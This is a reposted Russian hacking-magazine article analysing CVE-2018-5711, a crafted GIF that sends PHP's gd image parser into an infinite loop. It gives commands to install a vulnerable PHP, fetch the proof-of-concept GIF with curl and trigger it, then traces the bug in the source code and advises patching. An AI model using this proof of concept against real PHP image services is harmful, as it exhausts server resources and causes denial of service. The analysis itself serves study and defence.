JustPaste.it

Хакер - Ядовитая гифка. Эксплуатируем уязвимость в расширении gd для PHP

nopaywall

https://t.me/nopaywall

Все любят забавные гифки, но особый юмор — это повесить сервер на PHP при помощи специально сформированного файла GIF. Успешная эксплуатация бага, который мы разберем, приводит процесс в состояние бесконечного цикла. Создав множество таких процессов, атакующий исчерпает ресурсы системы. Жертвой может стать любой сервис, который производит манипуляции с картинками, написан на PHP и использует библиотеку gd или libgd.

Уязвимость получила идентификатор CVE-2018-5711, а обнаружил ее исследователь Orange Tsai (@orange_8361) из тайваньской компании Devcore. О деталях он написал в своем блоге.

warning-icon.jpg

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Готовимся к эксплуатации

Главное, что нам понадобится, чтобы испытать баг, — это уязвимая версия PHP. Их у нас целый пучок:

  • PHP 5 < 5.6.33,
  • PHP 7.0 < 7.0.27,
  • PHP 7.1 < 7.1.13,
  • PHP 7.2 < 7.2.1.

Выбирай любую, как говорится. Если хочешь контролировать процесс эксплуатации и рассмотреть уязвимость поближе, то тебе понадобится версия, которая содержит дополнительную отладочную информацию (dbg-версия). Большинство дистрибутивов Linux позволяют установить dbg-версию с помощью пакетного менеджера. Я буду использовать Debian 8 в контейнере Docker.

docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phpgd --hostname=phpgd debian:jessie-20171210 /bin/bash apt-get update

В моем случае в репозитории имелись две версии дистрибутива: 5.6.33 и 5.6.30.

apt-cache policy php5-dbg Различные версии PHP в дистрибутиве Debian Различные версии PHP в дистрибутиве Debian

Версия PHP 5.6.30 точно уязвима, поэтому ее и установим.

apt-get install -y php5-dbg=5.6.30+dfsg-0+deb8u1 \ php5-common=5.6.30+dfsg-0+deb8u1 \ libapache2-mod-php5=5.6.30+dfsg-0+deb8u1 \ php5-cgi=5.6.30+dfsg-0+deb8u1 \ php5-cli=5.6.30+dfsg-0+deb8u1 \ php5-fpm=5.6.30+dfsg-0+deb8u1 \ libphp5-embed=5.6.30+dfsg-0+deb8u1 \ php5-curl=5.6.30+dfsg-0+deb8u1 \ php5-enchant=5.6.30+dfsg-0+deb8u1 \ php5-gd=5.6.30+dfsg-0+deb8u1 \ php5-gmp=5.6.30+dfsg-0+deb8u1 \ php5-imap=5.6.30+dfsg-0+deb8u1 \ php5-interbase=5.6.30+dfsg-0+deb8u1 \ php5-intl=5.6.30+dfsg-0+deb8u1 \ php5-ldap=5.6.30+dfsg-0+deb8u1 \ php5-mcrypt=5.6.30+dfsg-0+deb8u1 \ php5-readline=5.6.30+dfsg-0+deb8u1 \ php5-mysql=5.6.30+dfsg-0+deb8u1 \ php5-odbc=5.6.30+dfsg-0+deb8u1 \ php5-pgsql=5.6.30+dfsg-0+deb8u1 \ php5-pspell=5.6.30+dfsg-0+deb8u1 \ php5-recode=5.6.30+dfsg-0+deb8u1 \ php5-snmp=5.6.30+dfsg-0+deb8u1 \ php5-sqlite=5.6.30+dfsg-0+deb8u1 \ php5-sybase=5.6.30+dfsg-0+deb8u1 \ php5-tidy=5.6.30+dfsg-0+deb8u1 \ php5-xmlrpc=5.6.30+dfsg-0+deb8u1 \ php5-xsl=5.6.30+dfsg-0+deb8u1 \ curl vim nano Установленная уязвимая версия PHP 5.6.30 Установленная уязвимая версия PHP 5.6.30

Такая огромная портянка получилась, потому что дистрибутив отказывался устанавливаться, ссылаясь на то, что я пытаюсь установить версию PHP ниже, чем версии его зависимостей. Это показалось мне самым простым решением, не исключено, что есть и более элегантный способ.

Возможно, на тот момент, когда ты будешь читать эту статью, в репозиториях появятся пропатченные версии дистрибутива. Тогда ничего не останется, кроме как скомпилировать PHP из исходников вручную. Для этого можно воспользоваться тем же контейнером, только теперь нужно установить среду для компиляции и все необходимые зависимости.

apt-get install -y build-essential git autoconf automake libtool re2c bison libxml2-dev libgd-dev curl vim nano gdb

Для разнообразия теперь возьмем версию 7.0.26.

git clone --branch PHP-7.0.26 --depth 1 https://github.com/php/php-src.git

Осталось только сконфигурировать. По сути, из расширений нам нужен только gd.

cd php-src ./buildconf --force ./configure --with-gd --enable-debug

Ну а затем стандартное:

make make install Свежескомпилированная уязвимая версия PHP Свежескомпилированная уязвимая версия PHP
 

Уязвимость

Первым делом скачаем эксплоит — это специально сформированная гифка, которая и вызывает проблемы у парсера.

curl -L https://git.io/vN0n4 | xxd -r > poc.gif

Уязвимы функции imagecreatefromgif и imagecreatefromstring, которые в качестве параметров принимают GIF: первая в виде файла, вторая в виде строки. Поэтому проверить работоспособность PoC можно следующим образом:

php -r 'imagecreatefromgif("poc.gif");'

Посмотрим, как работает эта уязвимость. Нас интересует цикл while из функции LWZReadByte_, что находится в файле gd_gif_in.c.

/ext/gd/libgd/gd_gif_in.c
430: static int 431: LWZReadByte_(gdIOCtx *fd, LZW_STATIC_DATA *sd, char flag, int input_code_size, int *ZeroDataBlockP) 432: { ... 461: GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);

Во время его выполнения вызывается функция GetCode, это простая обертка над GetCode_из того же файла.

gd_gif_in.c
419: static int 420: GetCode(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 421: { 422: int rv; 423: 424: rv = GetCode_(fd, scd, code_size,flag, ZeroDataBlockP); 425: if (VERBOSE) printf("[GetCode(,%d,%d) returning %d]\n",code_size,flag,rv); 426: return(rv); 427: }
gd_gif_in.c
374: static int 375: GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 376: { 377: int i, j, ret; 378: unsigned char count; ... 398: if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 399: scd->done = TRUE; ... 404: }

Обрати внимание на функцию GetDataBlock (строка 398). Это тоже обертка — над GetDataBlock_, которая как раз читает блоки данных из переданного в библиотеку файла GIF.

gd_gif_in.c
350: static int 351: GetDataBlock(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 352: { 353: int rv; 354: int i; 355: 356: rv = GetDataBlock_(fd,buf, ZeroDataBlockP); ... 370: return(rv); 371: }
gd_gif_in.c
331: static int 332: GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 333: { 334: unsigned char count; 335: 336: if (! ReadOK(fd,&count,1)) { 337: return -1; 338: } 339: 340: *ZeroDataBlockP = count == 0; 341: 342: if ((count != 0) && (! ReadOK(fd, buf, count))) { 343: return -1; 344: } 345: 346: return count; 347: } Отладка функции GetDataBlock_ Отладка функции GetDataBlock_

Функция возвращает размер прочитанных данных в виде переменной count, а когда доходит до конца файла, то возвращает -1. Чтобы выполнение цикла чтения закончилось, переменная scd->done должна принять значение true.

gd_gif_in.c
389: if (scd->done) { 390: if (scd->curbit >= scd->lastbit) { 391: /* Oh well */ 392: } 393: return -1; 394: }

А для этого должно выполняться неравенство count <= 0.

gd_gif_in.c
398: if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 399: scd->done = TRUE;

Только вот тип переменной count  unsigned char, а это значит, что переменная принимает только однобайтовые положительные значения (диапазон от 0 до 255) и быть меньше нуля никак не может. Именно поэтому одна часть условия count <= 0 (строка 398 из gd_gif_in.c) никогда не будет выполнена. Вторую часть (count == 0) тоже нетрудно обойти, ведь размер блока указывается в самом файле.

Значение переменной count берется из GIF Значение переменной count берется из GIF

Самое время расчехлять отладчик и ставить брейк-пойнты на интересующие нас три функции.

b LWZReadByte_ b GetCode_ b GetDataBlock_

Нас интересует тот самый цикл while из функции LWZReadByte_ (строка 462 в gd_gif_in.c). Мы сможем превратить его в бесконечный, если будет выполняться условие sd->firstcode == sd->clear_code.

/ext/gd/libgd/gd_gif_in.c
459: do { 460: sd->firstcode = sd->oldcode = 461: GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); 462: } while (sd->firstcode == sd->clear_code);

Значение sd->clear_code высчитывается при первом выполнении LWZReadByte_.

gd_gif_in.c
436: sd->set_code_size = input_code_size; 437: sd->code_size = sd->set_code_size+1; 438: sd->clear_code = 1 << sd->set_code_size ;

Переменная input_code_size так же, как и count, берется из гифки, а дальше из нее получается sd->clear_code путем сдвигания 0x1 влево на input_code_size разрядов.

Переменная input_code_size и вычисление sd-><figcaption class=clear_code» width=801 /> Переменная input_code_size и вычисление sd->clear_code

В нашем случае sd->clear_code = 8. Дальше дело за sd->firstcode — это результат выполнения функции GetCode. Сам блок данных в PoC сделан так, чтобы функция тоже возвращала 8.

Специально сформированный блок данных в эксплоите Специально сформированный блок данных в эксплоите
gd_gif_in.c
409: ret = 0; 410: for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) { 411: ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j; 412: } ... 416: return ret;

А еще обрати внимание на этот кусок кода:

gd_gif_in.c
388: if ( (scd->curbit + code_size) >= scd->lastbit) { ... 401: scd->last_byte = 2 + count; 402: scd->curbit = (scd->curbit - scd->lastbit) + 16; 403: scd->lastbit = (2+count)*8 ;

Когда следующий бит на чтение больше, чем общий размер блока, переменная scd->curbitсбрасывается — из текущего значения вычитается scd->lastbit, а scd->lastbit у нас зависит от count.

scd->lastbit = (2+count)*8 => scd->lastbit = (2+0xff)*8 => scd->lastbit = 2056

Дальше по коду выполняется следующая проверка:

gd_gif_in.c
406: if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) { 407: ret = -1; ... 415: scd->curbit += code_size; 416: return ret;

Если условие выполнится, то переменная ret станет равна -1 и мы выйдем из цикла. Но этого не произойдет из-за того, что отрабатывает код, который мы разобрали чуть выше. Правая часть условия из строки 406 равна 2240.

CSD_BUF_SIZE * 8 = 280 * 8 = 2240
gd_gif_in.c
75: #define CSD_BUF_SIZE 280

А code_size у нас равен 4.

gd_gif_in.c
436: sd->set_code_size = input_code_size; // 3 437: sd->code_size = sd->set_code_size+1; // 4

Дальше идет простая логика: максимальное значение, которое может принять scd->curbit, исходя из условия равно 2052. Дальше выполнится тело условия из строки 388. Только вот GetDataBlock не сделает scd->done равной true из-за бага, и поэтому счетчик чтения сбросится, а следующая итерация просто начнет читать весь блок с самого начала, и так до бесконечности.

 

Заключение

Такие уязвимости подтверждают, что не важно, сколько лет коду и сколько раз проводили его аудит. Может появиться новый способ эксплуатации, а может вдруг оказаться актуальным старый. С точки зрения программиста урок другой: надо не забывать внимательно следить за результатами операций с переменными в языках со строгой типизацией.

Описанной уязвимости подвержена и библиотека libgd, о чем исследователь сообщил в своем блоге. Так что, если ты разрабатываешь или поддерживаешь сервис на PHP, который что-то делает с картинками, немедленно ставь обновления или оповещай администраторов о необходимости этого.

Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall